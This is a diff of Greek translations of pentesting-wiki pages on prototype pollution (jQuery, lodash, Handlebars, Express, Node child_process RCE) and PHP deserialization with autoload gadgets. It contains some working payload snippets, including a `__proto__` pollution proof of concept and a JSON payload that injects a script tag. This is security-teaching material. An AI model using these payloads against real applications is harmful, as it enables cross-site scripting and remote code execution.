[Για περισσότερες λεπτομέρειες δείτε αυτό το άρθρο](https://itnext.io/prototype-pollution-attack-on-nodejs-applications-94a8582373e7) Στο jQuery, η συνάρτηση `$ .extend` μπορεί να οδηγήσει σε ρύπανση πρωτοτύπου αν η δυνατότητα βαθιάς αντιγραφής χρησιμοποιηθεί λανθασμένα. Αυτή η συνάρτηση χρησιμοποιείται συνήθως για την κλωνοποίηση αντικειμένων ή τη συγχώνευση ιδιοτήτων από ένα προεπιλεγμένο αντικείμενο. Ωστόσο, όταν είναι κακορυθμισμένη, οι ιδιότητες που προορίζονται για ένα νέο αντικείμενο μπορούν να ανατεθούν στο πρωτότυπο αντί αυτού. Για παράδειγμα:
|
||||
[Για περισσότερες λεπτομέρειες δείτε αυτό το άρθρο](https://itnext.io/prototype-pollution-attack-on-nodejs-applications-94a8582373e7) Στο jQuery, η συνάρτηση `$ .extend` μπορεί να οδηγήσει σε ρύπανση πρωτοτύπου αν η δυνατότητα βαθιάς αντιγραφής χρησιμοποιηθεί λανθασμένα. Αυτή η συνάρτηση χρησιμοποιείται συνήθως για την κλωνοποίηση αντικειμένων ή τη συγχώνευση ιδιοτήτων από ένα προεπιλεγμένο αντικείμενο. Ωστόσο, όταν είναι λανθασμένα ρυθμισμένη, οι ιδιότητες που προορίζονται για ένα νέο αντικείμενο μπορούν να ανατεθούν στο πρωτότυπο αντί αυτού. Για παράδειγμα:
|
||||
```javascript
|
||||
$.extend(true, {}, JSON.parse('{"__proto__": {"devMode": true}}'))
|
||||
console.log({}.devMode) // Outputs: true
|
||||
```
|
||||
Αυτή η ευπάθεια, που αναγνωρίστηκε ως CVE-2019–11358, δείχνει πώς μια βαθιά αντιγραφή μπορεί να τροποποιήσει κατά λάθος το πρωτότυπο, οδηγώντας σε πιθανούς κινδύνους ασφαλείας, όπως μη εξουσιοδοτημένη πρόσβαση διαχειριστή εάν οι ιδιότητες όπως το `isAdmin` ελέγχονται χωρίς κατάλληλη επαλήθευση ύπαρξης.
|
||||
Αυτή η ευπάθεια, που αναγνωρίστηκε ως CVE-2019–11358, δείχνει πώς μια βαθιά αντιγραφή μπορεί να τροποποιήσει κατά λάθος το πρωτότυπο, οδηγώντας σε πιθανούς κινδύνους ασφαλείας, όπως μη εξουσιοδοτημένη πρόσβαση διαχειριστή αν οι ιδιότητες όπως το `isAdmin` ελέγχονται χωρίς κατάλληλη επαλήθευση ύπαρξης.
|
||||
|
||||
### CVE-2018–3721, CVE-2019–10744: Επίθεση μόλυνσης πρωτοτύπου μέσω lodash
|
||||
|
||||
[Για περισσότερες λεπτομέρειες δείτε αυτό το άρθρο](https://itnext.io/prototype-pollution-attack-on-nodejs-applications-94a8582373e7)
|
||||
[Για περισσότερες λεπτομέρειες ελέγξτε αυτό το άρθρο](https://itnext.io/prototype-pollution-attack-on-nodejs-applications-94a8582373e7)
|
||||
|
||||
[Lodash](https://www.npmjs.com/package/lodash) αντιμετώπισε παρόμοιες ευπάθειες μόλυνσης πρωτοτύπου (CVE-2018–3721, CVE-2019–10744). Αυτά τα ζητήματα επιλύθηκαν στην έκδοση 4.17.11.
|
||||
|
||||
@ -241,14 +241,14 @@ console.log({}.devMode) // Outputs: true
|
||||
|
||||
#### Ανάλυση Ευπάθειας Handlebars
|
||||
|
||||
Η μηχανή προτύπων Handlebars είναι ευάλωτη σε επίθεση μόλυνσης πρωτοτύπου. Αυτή η ευπάθεια προκύπτει από συγκεκριμένες συναρτήσεις μέσα στο αρχείο `javascript-compiler.js`. Η συνάρτηση `appendContent`, για παράδειγμα, συνενώνει το `pendingContent` εάν είναι παρόν, ενώ η συνάρτηση `pushSource` επαναφέρει το `pendingContent` σε `undefined` μετά την προσθήκη της πηγής.
|
||||
Η μηχανή προτύπων Handlebars είναι ευάλωτη σε επίθεση μόλυνσης πρωτοτύπου. Αυτή η ευπάθεια προκύπτει από συγκεκριμένες συναρτήσεις μέσα στο αρχείο `javascript-compiler.js`. Η συνάρτηση `appendContent`, για παράδειγμα, συνενώνει το `pendingContent` αν είναι παρόν, ενώ η συνάρτηση `pushSource` επαναφέρει το `pendingContent` σε `undefined` μετά την προσθήκη της πηγής.
|
||||
|
||||
**Διαδικασία Εκμετάλλευσης**
|
||||
|
||||
Η εκμετάλλευση εκμεταλλεύεται το AST (Abstract Syntax Tree) που παράγεται από τις Handlebars, ακολουθώντας τα εξής βήματα:
|
||||
|
||||
1. **Manipulation of the Parser**: Αρχικά, ο αναλυτής, μέσω του κόμβου `NumberLiteral`, επιβάλλει ότι οι τιμές είναι αριθμητικές. Η μόλυνση πρωτοτύπου μπορεί να παρακάμψει αυτό, επιτρέποντας την εισαγωγή μη αριθμητικών συμβολοσειρών.
|
||||
2. **Handling by the Compiler**: Ο μεταγλωττιστής μπορεί να επεξεργαστεί ένα αντικείμενο AST ή ένα πρότυπο συμβολοσειράς. Εάν το `input.type` ισούται με `Program`, η είσοδος αντιμετωπίζεται ως προ-αναλυμένη, κάτι που μπορεί να εκμεταλλευτεί.
|
||||
2. **Handling by the Compiler**: Ο μεταγλωττιστής μπορεί να επεξεργαστεί ένα αντικείμενο AST ή ένα πρότυπο συμβολοσειράς. Αν το `input.type` ισούται με `Program`, η είσοδος αντιμετωπίζεται ως προ-αναλυμένη, κάτι που μπορεί να εκμεταλλευτεί.
|
||||
3. **Injection of Code**: Μέσω της χειραγώγησης του `Object.prototype`, μπορεί κανείς να εισάγει αυθαίρετο κώδικα στη συνάρτηση προτύπου, κάτι που μπορεί να οδηγήσει σε απομακρυσμένη εκτέλεση κώδικα.
|
||||
|
||||
Ένα παράδειγμα που δείχνει την εκμετάλλευση της ευπάθειας Handlebars:
|
||||
@ -313,7 +313,7 @@ requests.get(TARGET_URL)
|
||||
```
|
||||
#### Ευπάθεια Pug
|
||||
|
||||
Το Pug, μια άλλη μηχανή προτύπων, αντιμετωπίζει παρόμοιο κίνδυνο μόλυνσης πρωτοτύπων. Λεπτομερείς πληροφορίες είναι διαθέσιμες στη συζήτηση για την [AST Injection στο Pug](https://blog.p6.is/AST-Injection/#Pug).
|
||||
Το Pug, μια άλλη μηχανή προτύπων, αντιμετωπίζει παρόμοιο κίνδυνο μόλυνσης πρωτοτύπων. Λεπτομερείς πληροφορίες είναι διαθέσιμες στη συζήτηση για [AST Injection in Pug](https://blog.p6.is/AST-Injection/#Pug).
|
||||
|
||||
Παράδειγμα μόλυνσης πρωτοτύπων στο Pug:
|
||||
```python
|
||||
@ -340,13 +340,13 @@ requests.get(TARGET_URL)
|
||||
2. **Επικύρωση Εισόδου**: Οι εισροές JSON θα πρέπει να επικυρώνονται αυστηρά σύμφωνα με το σχήμα της εφαρμογής.
|
||||
3. **Ασφαλείς Συναρτήσεις Συγχώνευσης**: Η μη ασφαλής χρήση αναδρομικών συναρτήσεων συγχώνευσης θα πρέπει να αποφεύγεται.
|
||||
4. **Αντικείμενα Χωρίς Πρωτότυπα**: Αντικείμενα χωρίς ιδιότητες πρωτοτύπου μπορούν να δημιουργηθούν χρησιμοποιώντας το `Object.create(null)`.
|
||||
5. **Χρήση Χάρτη**: Αντί για το `Object`, θα πρέπει να χρησιμοποιείται το `Map` για την αποθήκευση ζευγών κλειδιού-τιμής.
|
||||
6. **Ενημερώσεις Βιβλιοθηκών**: Οι διορθώσεις ασφαλείας μπορούν να ενσωματωθούν με τακτικές ενημερώσεις βιβλιοθηκών.
|
||||
7. **Εργαλεία Linter και Στατικής Ανάλυσης**: Χρησιμοποιήστε εργαλεία όπως το ESLint με κατάλληλα πρόσθετα για την ανίχνευση και πρόληψη ευπαθειών μόλυνσης του πρωτοτύπου.
|
||||
8. **Ανασκοπήσεις Κώδικα**: Εφαρμόστε λεπτομερείς ανασκοπήσεις κώδικα για την αναγνώριση και αποκατάσταση πιθανών κινδύνων που σχετίζονται με τη μόλυνση του πρωτοτύπου.
|
||||
5. **Χρήση Map**: Αντί για το `Object`, θα πρέπει να χρησιμοποιείται το `Map` για την αποθήκευση ζευγών κλειδιού-τιμής.
|
||||
6. **Ενημερώσεις Βιβλιοθηκών**: Οι ενημερώσεις ασφαλείας μπορούν να ενσωματωθούν με την τακτική ενημέρωση των βιβλιοθηκών.
|
||||
7. **Εργαλεία Linter και Στατικής Ανάλυσης**: Χρησιμοποιήστε εργαλεία όπως το ESLint με κατάλληλα πρόσθετα για να ανιχνεύσετε και να αποτρέψετε ευπάθειες μόλυνσης του πρωτοτύπου.
|
||||
8. **Ανασκοπήσεις Κώδικα**: Εφαρμόστε λεπτομερείς ανασκοπήσεις κώδικα για να εντοπίσετε και να διορθώσετε πιθανούς κινδύνους που σχετίζονται με τη μόλυνση του πρωτοτύπου.
|
||||
9. **Εκπαίδευση Ασφαλείας**: Εκπαιδεύστε τους προγραμματιστές σχετικά με τους κινδύνους της μόλυνσης του πρωτοτύπου και τις βέλτιστες πρακτικές για τη συγγραφή ασφαλούς κώδικα.
|
||||
10. **Χρήση Βιβλιοθηκών με Προσοχή**: Να είστε προσεκτικοί κατά τη χρήση τρίτων βιβλιοθηκών. Αξιολογήστε τη θέση ασφαλείας τους και ανασκοπήστε τον κώδικά τους, ειδικά εκείνες που χειρίζονται αντικείμενα.
|
||||
11. **Προστασία Χρόνου Εκτέλεσης**: Εφαρμόστε μηχανισμούς προστασίας χρόνου εκτέλεσης, όπως η χρήση πακέτων npm που εστιάζουν στην ασφάλεια και μπορούν να ανιχνεύσουν και να αποτρέψουν επιθέσεις μόλυνσης του πρωτοτύπου.
|
||||
10. **Χρήση Βιβλιοθηκών με Προσοχή**: Να είστε προσεκτικοί κατά τη χρήση τρίτων βιβλιοθηκών. Αξιολογήστε τη θέση ασφαλείας τους και ανασκοπήστε τον κώδικά τους, ειδικά εκείνους που χειρίζονται αντικείμενα.
|
||||
11. **Προστασία σε Χρόνο Εκτέλεσης**: Εφαρμόστε μηχανισμούς προστασίας σε χρόνο εκτέλεσης, όπως η χρήση πακέτων npm που εστιάζουν στην ασφάλεια και μπορούν να ανιχνεύσουν και να αποτρέψουν επιθέσεις μόλυνσης του πρωτοτύπου.
|
||||
|
||||
## Αναφορές
|
||||
|
||||
|
@ -21,13 +21,13 @@ return "test"
|
||||
```
|
||||
### Εύρεση της ρίζας του Prototype Pollution <a href="#id-5530" id="id-5530"></a>
|
||||
|
||||
Αφού έχει εντοπιστεί μια ευπάθεια Prototype Pollution από οποιοδήποτε από τα εργαλεία, και αν ο κώδικας δεν είναι υπερβολικά πολύπλοκος, μπορείς να βρεις την ευπάθεια αναζητώντας λέξεις-κλειδιά όπως `location.hash`, `decodeURIComponent` ή `location.search` στα Chrome Developer Tools. Αυτή η προσέγγιση σου επιτρέπει να εντοπίσεις την ευάλωτη ενότητα του JavaScript κώδικα.
|
||||
Μόλις εντοπιστεί μια ευπάθεια Prototype Pollution από οποιοδήποτε από τα εργαλεία, και αν ο κώδικας δεν είναι υπερβολικά περίπλοκος, μπορείς να βρεις την ευπάθεια αναζητώντας λέξεις-κλειδιά όπως `location.hash`, `decodeURIComponent` ή `location.search` στα Chrome Developer Tools. Αυτή η προσέγγιση σου επιτρέπει να εντοπίσεις την ευάλωτη ενότητα του JavaScript κώδικα.
|
||||
|
||||
Για μεγαλύτερες και πιο πολύπλοκες βάσεις κώδικα, μια απλή μέθοδος για να ανακαλύψεις τον ευάλωτο κώδικα περιλαμβάνει τα εξής βήματα:
|
||||
Για μεγαλύτερες και πιο περίπλοκες βάσεις κώδικα, μια απλή μέθοδος για να ανακαλύψεις τον ευάλωτο κώδικα περιλαμβάνει τα εξής βήματα:
|
||||
|
||||
1. Χρησιμοποίησε ένα εργαλείο για να εντοπίσεις μια ευπάθεια και να αποκτήσεις ένα payload σχεδιασμένο να ορίσει μια ιδιότητα στον κατασκευαστή. Ένα παράδειγμα που παρέχεται από το ppmap μπορεί να μοιάζει με: `constructor[prototype][ppmap]=reserved`.
|
||||
2. Ορίστε ένα breakpoint στην πρώτη γραμμή του JavaScript κώδικα που θα εκτελεστεί στη σελίδα. Ανανεώστε τη σελίδα με το payload, σταματώντας την εκτέλεση σε αυτό το breakpoint.
|
||||
3. Ενώ η εκτέλεση του JavaScript είναι σταματημένη, εκτέλεσε το παρακάτω script στην κονσόλα JS. Αυτό το script θα στείλει σήμα όταν δημιουργηθεί η ιδιότητα 'ppmap', βοηθώντας στην τοποθέτηση της προέλευσής της:
|
||||
2. Ορίστε ένα breakpoint στην πρώτη γραμμή του JavaScript κώδικα που θα εκτελεστεί στη σελίδα. Ανανεώστε τη σελίδα με το payload, παγώνοντας την εκτέλεση σε αυτό το breakpoint.
|
||||
3. Ενώ η εκτέλεση του JavaScript είναι παγωμένη, εκτέλεσε το παρακάτω script στην κονσόλα JS. Αυτό το script θα στείλει σήμα όταν δημιουργηθεί η ιδιότητα 'ppmap', βοηθώντας στην τοποθέτηση της προέλευσής της:
|
||||
```javascript
|
||||
function debugAccess(obj, prop, debugGet = true) {
|
||||
var origValue = obj[prop]
|
||||
@ -46,19 +46,19 @@ origValue = val
|
||||
|
||||
debugAccess(Object.prototype, "ppmap")
|
||||
```
|
||||
4. Πλοηγηθείτε πίσω στην καρτέλα **Sources** και επιλέξτε “Resume script execution”. Το JavaScript θα συνεχίσει να εκτελείται και η ιδιότητα 'ppmap' θα μολυνθεί όπως αναμενόταν. Η χρήση του παρεχόμενου αποσπάσματος διευκολύνει την αναγνώριση της ακριβούς τοποθεσίας όπου μολύνεται η ιδιότητα 'ppmap'. Εξετάζοντας το **Call Stack**, μπορούν να παρατηρηθούν διαφορετικές στοίβες όπου συνέβη η μόλυνση.
|
||||
4. Πλοηγηθείτε πίσω στην καρτέλα **Sources** και επιλέξτε “Resume script execution”. Το JavaScript θα συνεχίσει να εκτελείται και η ιδιότητα 'ppmap' θα μολυνθεί όπως αναμενόταν. Η χρήση του παρεχόμενου αποσπάσματος διευκολύνει την αναγνώριση της ακριβούς τοποθεσίας όπου η ιδιότητα 'ppmap' μολύνεται. Εξετάζοντας το **Call Stack**, μπορούν να παρατηρηθούν διαφορετικές στοίβες όπου συνέβη η μόλυνση.
|
||||
|
||||
Όταν αποφασίζετε ποια στοίβα να ερευνήσετε, είναι συχνά χρήσιμο να στοχεύετε σε στοίβες που σχετίζονται με αρχεία βιβλιοθηκών JavaScript, καθώς η μόλυνση πρωτοτύπων συμβαίνει συχνά μέσα σε αυτές τις βιβλιοθήκες. Εντοπίστε τη σχετική στοίβα εξετάζοντας τη σύνδεσή της με αρχεία βιβλιοθηκών (ορατά στη δεξιά πλευρά, παρόμοια με μια εικόνα που παρέχεται για καθοδήγηση). Σε σενάρια με πολλές στοίβες, όπως αυτές στις γραμμές 4 και 6, η λογική επιλογή είναι η στοίβα στη γραμμή 4, καθώς αντιπροσωπεύει την αρχική εμφάνιση μόλυνσης και επομένως την ρίζα της ευπάθειας. Κάνοντας κλικ στη στοίβα θα σας κατευθύνει στον ευάλωτο κώδικα.
|
||||
Όταν αποφασίζετε ποια στοίβα να ερευνήσετε, είναι συχνά χρήσιμο να στοχεύετε σε στοίβες που σχετίζονται με αρχεία βιβλιοθηκών JavaScript, καθώς η μόλυνση πρωτοτύπων συμβαίνει συχνά μέσα σε αυτές τις βιβλιοθήκες. Εντοπίστε τη σχετική στοίβα εξετάζοντας τη σύνδεσή της με αρχεία βιβλιοθηκών (ορατά στη δεξιά πλευρά, παρόμοια με μια εικόνα που παρέχεται για καθοδήγηση). Σε σενάρια με πολλές στοίβες, όπως αυτές στις γραμμές 4 και 6, η λογική επιλογή είναι η στοίβα στη γραμμή 4, καθώς αντιπροσωπεύει την αρχική εμφάνιση της μόλυνσης και επομένως την ρίζα της ευπάθειας. Κάνοντας κλικ στη στοίβα θα σας κατευθύνει στον ευάλωτο κώδικα.
|
||||
|
||||

|
||||
|
||||
## Εύρεση Gadgets Σκριπτών
|
||||
## Εύρεση Gadget Σκριπτών
|
||||
|
||||
Το gadget είναι ο **κώδικας που θα καταχραστεί μόλις ανακαλυφθεί μια ευπάθεια PP**.
|
||||
|
||||
Αν η εφαρμογή είναι απλή, μπορούμε να **αναζητήσουμε** λέξεις-κλειδιά όπως **`srcdoc/innerHTML/iframe/createElement`** και να ελέγξουμε τον πηγαίο κώδικα και να δούμε αν οδηγεί σε **εκτέλεση javascript**. Μερικές φορές, οι αναφερόμενες τεχνικές μπορεί να μην βρουν καθόλου gadgets. Σε αυτή την περίπτωση, η καθαρή ανασκόπηση του πηγαίου κώδικα αποκαλύπτει μερικά ωραία gadgets όπως το παρακάτω παράδειγμα.
|
||||
|
||||
### Παράδειγμα Εύρεσης PP gadget στον κώδικα της βιβλιοθήκης Mithil
|
||||
### Παράδειγμα Εύρεσης Gadget PP στον κώδικα της βιβλιοθήκης Mithil
|
||||
|
||||
Ελέγξτε αυτή τη γραφή: [https://blog.huli.tw/2022/05/02/en/intigriti-revenge-challenge-author-writeup/](https://blog.huli.tw/2022/05/02/en/intigriti-revenge-challenge-author-writeup/)
|
||||
|
||||
|
@ -16,7 +16,7 @@ _.merge({}, req.body)
|
||||
res.send(req.body)
|
||||
})
|
||||
```
|
||||
Σε αυτές τις περιπτώσεις, το XSS δεν είναι συνήθως δυνατό με τύπο περιεχομένου JSON. Ωστόσο, με την μόλυνση πρωτοτύπου μπορούμε να **μπερδέψουμε το Express ώστε να εξυπηρετήσει μια HTML απάντηση.** Αυτή η ευπάθεια βασίζεται στη χρήση του **`res.send(obj)`** από την εφαρμογή και στη χρήση του body parser με τον τύπο περιεχομένου application/json.
|
||||
Σε αυτές τις περιπτώσεις, το XSS δεν είναι συνήθως δυνατό με τύπο περιεχομένου JSON. Ωστόσο, με την μόλυνση πρωτοτύπου μπορούμε να **μπερδέψουμε το Express ώστε να εξυπηρετήσει μια HTML απάντηση.** Αυτή η ευπάθεια βασίζεται στη χρήση του **`res.send(obj)`** και στη χρήση του body parser με τον τύπο περιεχομένου application/json.
|
||||
```json
|
||||
{ "__proto__": { "_body": true, "body": "<script>evil()" } }
|
||||
```
|
||||
@ -32,7 +32,7 @@ res.send(req.body)
|
||||
|
||||
### JSON spaces
|
||||
|
||||
Το παρακάτω PP θα προσθέσει ένα επιπλέον διάστημα στα χαρακτηριστικά μέσα σε ένα JSON που δεν θα σπάσει τη λειτουργικότητα:
|
||||
Η παρακάτω PP θα προσθέσει ένα επιπλέον κενό σε χαρακτηριστικά μέσα σε ένα JSON που δεν θα σπάσει τη λειτουργικότητα:
|
||||
```json
|
||||
{ "__proto__": { "json spaces": " " } }
|
||||
```
|
||||
@ -42,7 +42,7 @@ res.send(req.body)
|
||||
```
|
||||
### Εκτεθειμένες Κεφαλίδες
|
||||
|
||||
Το παρακάτω gadget PP θα κάνει τον διακομιστή να στείλει πίσω την κεφαλίδα HTTP: **`Access-Control-Expose_headers: foo`**
|
||||
Το παρακάτω PP gadget θα κάνει τον διακομιστή να στείλει πίσω την HTTP κεφαλίδα: **`Access-Control-Expose_headers: foo`**
|
||||
```json
|
||||
{ "__proto__": { "exposedHeaders": ["foo"] } }
|
||||
```
|
||||
|
@ -41,7 +41,7 @@ var proc = fork("a_file.js")
|
||||
|
||||
**PP2RCE** σημαίνει **Prototype Pollution to RCE** (Remote Code Execution).
|
||||
|
||||
Σύμφωνα με αυτή την [**writeup**](https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/) όταν μια **διαδικασία δημιουργείται** με κάποια μέθοδο από **`child_process`** (όπως `fork` ή `spawn` ή άλλες) καλεί τη μέθοδο `normalizeSpawnArguments` η οποία είναι ένα **gadget ρύθμισης πρωτοτύπου για τη δημιουργία νέων env vars**:
|
||||
Σύμφωνα με αυτή την [**writeup**](https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/) όταν μια **διαδικασία δημιουργείται** με κάποια μέθοδο από **`child_process`** (όπως `fork` ή `spawn` ή άλλες) καλεί τη μέθοδο `normalizeSpawnArguments` που είναι ένα **gadget ρύθμισης πρωτοτύπου για τη δημιουργία νέων env vars**:
|
||||
```javascript
|
||||
//See code in https://github.com/nodejs/node/blob/02aa8c22c26220e16616a88370d111c0229efe5e/lib/child_process.js#L638-L686
|
||||
|
||||
@ -66,10 +66,10 @@ ArrayPrototypePush(envPairs, `${key}=${value}`); // <-- Pollution
|
||||
### **Μόλυνση του `__proto__`**
|
||||
|
||||
> [!WARNING]
|
||||
> Σημειώστε ότι λόγω του πώς λειτουργεί η συνάρτηση **`normalizeSpawnArguments`** από τη βιβλιοθήκη **`child_process`** του node, όταν καλείται κάτι προκειμένου να **οριστεί μια νέα μεταβλητή env** για τη διαδικασία, χρειάζεται απλώς να **μολύνετε οτιδήποτε**.\
|
||||
> Σημειώστε ότι λόγω του πώς λειτουργεί η συνάρτηση **`normalizeSpawnArguments`** από τη βιβλιοθήκη **`child_process`** του node, όταν καλείται κάτι για να **ορίσει μια νέα μεταβλητή env** για τη διαδικασία, χρειάζεται απλώς να **μολύνετε οτιδήποτε**.\
|
||||
> Για παράδειγμα, αν κάνετε `__proto__.avar="valuevar"` η διαδικασία θα ξεκινήσει με μια μεταβλητή που ονομάζεται `avar` με τιμή `valuevar`.
|
||||
>
|
||||
> Ωστόσο, προκειμένου η **μεταβλητή env να είναι η πρώτη**, χρειάζεται να **μολύνετε** το **χαρακτηριστικό `.env`** και (μόνο σε ορισμένες μεθόδους) αυτή η μεταβλητή θα είναι η **πρώτη** (επιτρέποντας την επίθεση).
|
||||
> Ωστόσο, για να είναι η **μεταβλητή env η πρώτη**, πρέπει να **μολύνετε** το **χαρακτηριστικό `.env`** και (μόνο σε ορισμένες μεθόδους) αυτή η μεταβλητή θα είναι η **πρώτη** (επιτρέποντας την επίθεση).
|
||||
>
|
||||
> Γι' αυτό το **`NODE_OPTIONS`** **δεν είναι μέσα στο `.env`** στην παρακάτω επίθεση.
|
||||
```javascript
|
||||
@ -122,10 +122,10 @@ var proc = fork("a_file.js")
|
||||
```
|
||||
## PP2RCE μέσω env vars + cmdline
|
||||
|
||||
Ένα παρόμοιο payload με το προηγούμενο με κάποιες αλλαγές προτάθηκε σε [**αυτή τη γραφή**](https://blog.sonarsource.com/blitzjs-prototype-pollution/)**.** Οι κύριες διαφορές είναι:
|
||||
Ένα παρόμοιο payload με το προηγούμενο με κάποιες αλλαγές προτάθηκε σε [**αυτή τη συγγραφή**](https://blog.sonarsource.com/blitzjs-prototype-pollution/)**.** Οι κύριες διαφορές είναι:
|
||||
|
||||
- Αντί να αποθηκεύει το nodejs **payload** μέσα στο αρχείο `/proc/self/environ`, το αποθηκεύει i**nside argv0** του **`/proc/self/cmdline`**.
|
||||
- Στη συνέχεια, αντί να απαιτεί μέσω **`NODE_OPTIONS`** το αρχείο `/proc/self/environ`, **απαιτεί `/proc/self/cmdline`**.
|
||||
- Στη συνέχεια, αντί να απαιτεί μέσω **`NODE_OPTIONS`** το αρχείο `/proc/self/environ`, **απαιτεί το `/proc/self/cmdline`**.
|
||||
```javascript
|
||||
const { execSync, fork } = require("child_process")
|
||||
|
||||
@ -171,7 +171,7 @@ var proc = fork("a_file.js")
|
||||
}
|
||||
}
|
||||
```
|
||||
## PP2RCE ευπάθεια child_process συναρτήσεων
|
||||
## PP2RCE ευπάθεια child_process functions
|
||||
|
||||
Σε αυτή την ενότητα θα αναλύσουμε **κάθε συνάρτηση από το `child_process`** για να εκτελέσουμε κώδικα και να δούμε αν μπορούμε να χρησιμοποιήσουμε κάποια τεχνική για να αναγκάσουμε αυτή τη συνάρτηση να εκτελέσει κώδικα:
|
||||
|
||||
@ -463,7 +463,7 @@ var proc = spawnSync("something")
|
||||
|
||||
## Υποχρεωτική Δημιουργία
|
||||
|
||||
Στα προηγούμενα παραδείγματα είδατε πώς να ενεργοποιήσετε το gadget, μια λειτουργία που **καλεί το `spawn`** πρέπει να είναι **παρούσα** (όλες οι μέθοδοι του **`child_process`** που χρησιμοποιούνται για την εκτέλεση κάτι το καλούν). Στο προηγούμενο παράδειγμα αυτό ήταν **μέρος του κώδικα**, αλλά τι γίνεται αν ο κώδικας **δεν** το καλεί.
|
||||
Στα προηγούμενα παραδείγματα είδατε πώς να ενεργοποιήσετε τη συσκευή, μια λειτουργικότητα που **καλεί `spawn`** πρέπει να είναι **παρούσα** (όλες οι μέθοδοι του **`child_process`** που χρησιμοποιούνται για την εκτέλεση κάτι την καλούν). Στο προηγούμενο παράδειγμα αυτό ήταν **μέρος του κώδικα**, αλλά τι γίνεται αν ο κώδικας **δεν** την καλεί.
|
||||
|
||||
### Έλεγχος διαδρομής αρχείου require
|
||||
|
||||
@ -665,12 +665,12 @@ require("./usage.js")
|
||||
|
||||
## Fixes & Unexpected protections
|
||||
|
||||
Παρακαλώ σημειώστε ότι η μόλυνση πρωτοτύπου λειτουργεί αν το **attribute** ενός αντικειμένου που προσπελάζεται είναι **undefined**. Αν στον **κώδικα** αυτό το **attribute** είναι **set** σε μια **τιμή**, δεν **θα μπορέσετε να το αντικαταστήσετε**.
|
||||
Παρακαλώ σημειώστε ότι η ρύπανση πρωτοτύπου λειτουργεί αν το **attribute** ενός αντικειμένου που προσπελάζεται είναι **undefined**. Αν στον **κώδικα** αυτό το **attribute** είναι **set** σε μια **τιμή** δεν **θα μπορέσετε να το αντικαταστήσετε**.
|
||||
|
||||
Το Ιούνιο του 2022 από [**this commit**](https://github.com/nodejs/node/commit/20b0df1d1eba957ea30ba618528debbe02a97c6a) η μεταβλητή `options` αντί για ένα `{}` είναι ένα **`kEmptyObject`**. Αυτό **αποτρέπει τη μόλυνση πρωτοτύπου** από το να επηρεάσει τα **attributes** του **`options`** για να αποκτήσει RCE.\
|
||||
Τουλάχιστον από την v18.4.0 αυτή η προστασία έχει **υλοποιηθεί,** και επομένως οι **exploits** `spawn` και `spawnSync` που επηρεάζουν τις μεθόδους **δεν λειτουργούν πια** (αν δεν χρησιμοποιηθούν `options`!).
|
||||
Το Ιούνιο του 2022 από [**this commit**](https://github.com/nodejs/node/commit/20b0df1d1eba957ea30ba618528debbe02a97c6a) η μεταβλητή `options` αντί για ένα `{}` είναι ένα **`kEmptyObject`**. Αυτό **αποτρέπει μια ρύπανση πρωτοτύπου** από το να επηρεάσει τα **attributes** του **`options`** για να αποκτήσει RCE.\
|
||||
Τουλάχιστον από την v18.4.0 αυτή η προστασία έχει **υλοποιηθεί,** και επομένως οι **exploits** `spawn` και `spawnSync` που επηρεάζουν τις μεθόδους **δεν λειτουργούν πια** (αν δεν χρησιμοποιούνται `options`!).
|
||||
|
||||
Στο [**this commit**](https://github.com/nodejs/node/commit/0313102aaabb49f78156cadc1b3492eac3941dd9) η **μόλυνση πρωτοτύπου** του **`contextExtensions`** από τη βιβλιοθήκη vm **διορθώθηκε επίσης** ρυθμίζοντας τις επιλογές σε **`kEmptyObject`** αντί για **`{}`.**
|
||||
Στο [**this commit**](https://github.com/nodejs/node/commit/0313102aaabb49f78156cadc1b3492eac3941dd9) η **ρύπανση πρωτοτύπου** του **`contextExtensions`** από τη βιβλιοθήκη vm **διορθώθηκε επίσης** ρυθμίζοντας τις επιλογές σε **`kEmptyObject`** αντί για **`{}`.**
|
||||
|
||||
### **Other Gadgets**
|
||||
|
||||
|
@ -1,18 +1,18 @@
|
||||
# PHP - Deserialization + Autoload Classes
|
||||
# PHP - Αποσυσκευασία + Αυτόματη Φόρτωση Κλάσεων
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Αρχικά, θα πρέπει να ελέγξετε τι είναι τα [**Autoloading Classes**](https://www.php.net/manual/en/language.oop5.autoload.php).
|
||||
Πρώτα, θα πρέπει να ελέγξετε τι είναι οι [**Αυτόματες Φόρτωσες Κλάσεις**](https://www.php.net/manual/en/language.oop5.autoload.php).
|
||||
|
||||
## PHP deserialization + spl_autoload_register + LFI/Gadget
|
||||
## PHP αποσυσκευασία + spl_autoload_register + LFI/Gadget
|
||||
|
||||
Βρισκόμαστε σε μια κατάσταση όπου βρήκαμε μια **PHP deserialization σε μια webapp** χωρίς **καμία** βιβλιοθήκη ευάλωτη σε gadgets μέσα στο **`phpggc`**. Ωστόσο, στο ίδιο κοντέινερ υπήρχε μια **διαφορετική webapp composer με ευάλωτες βιβλιοθήκες**. Επομένως, ο στόχος ήταν να **φορτώσουμε τον φορτωτή composer της άλλης webapp** και να τον εκμεταλλευτούμε για να **φορτώσουμε ένα gadget που θα εκμεταλλευτεί αυτή τη βιβλιοθήκη με ένα gadget** από την webapp που είναι ευάλωτη σε deserialization.
|
||||
Βρισκόμαστε σε μια κατάσταση όπου βρήκαμε μια **αποσυσκευασία PHP σε μια webapp** χωρίς **καμία** βιβλιοθήκη ευάλωτη σε gadgets μέσα στο **`phpggc`**. Ωστόσο, στο ίδιο κοντέινερ υπήρχε μια **διαφορετική webapp composer με ευάλωτες βιβλιοθήκες**. Επομένως, ο στόχος ήταν να **φορτώσουμε τον φορτωτή composer της άλλης webapp** και να τον εκμεταλλευτούμε για να **φορτώσουμε ένα gadget που θα εκμεταλλευτεί αυτή τη βιβλιοθήκη με ένα gadget** από την webapp που είναι ευάλωτη σε αποσυσκευασία.
|
||||
|
||||
Βήματα:
|
||||
|
||||
- Έχετε βρει μια **deserialization** και **δεν υπάρχει κανένα gadget** στον τρέχοντα κώδικα της εφαρμογής
|
||||
- Μπορείτε να εκμεταλλευτείτε μια **`spl_autoload_register`** συνάρτηση όπως η παρακάτω για να **φορτώσετε οποιοδήποτε τοπικό αρχείο με κατάληξη `.php`**
|
||||
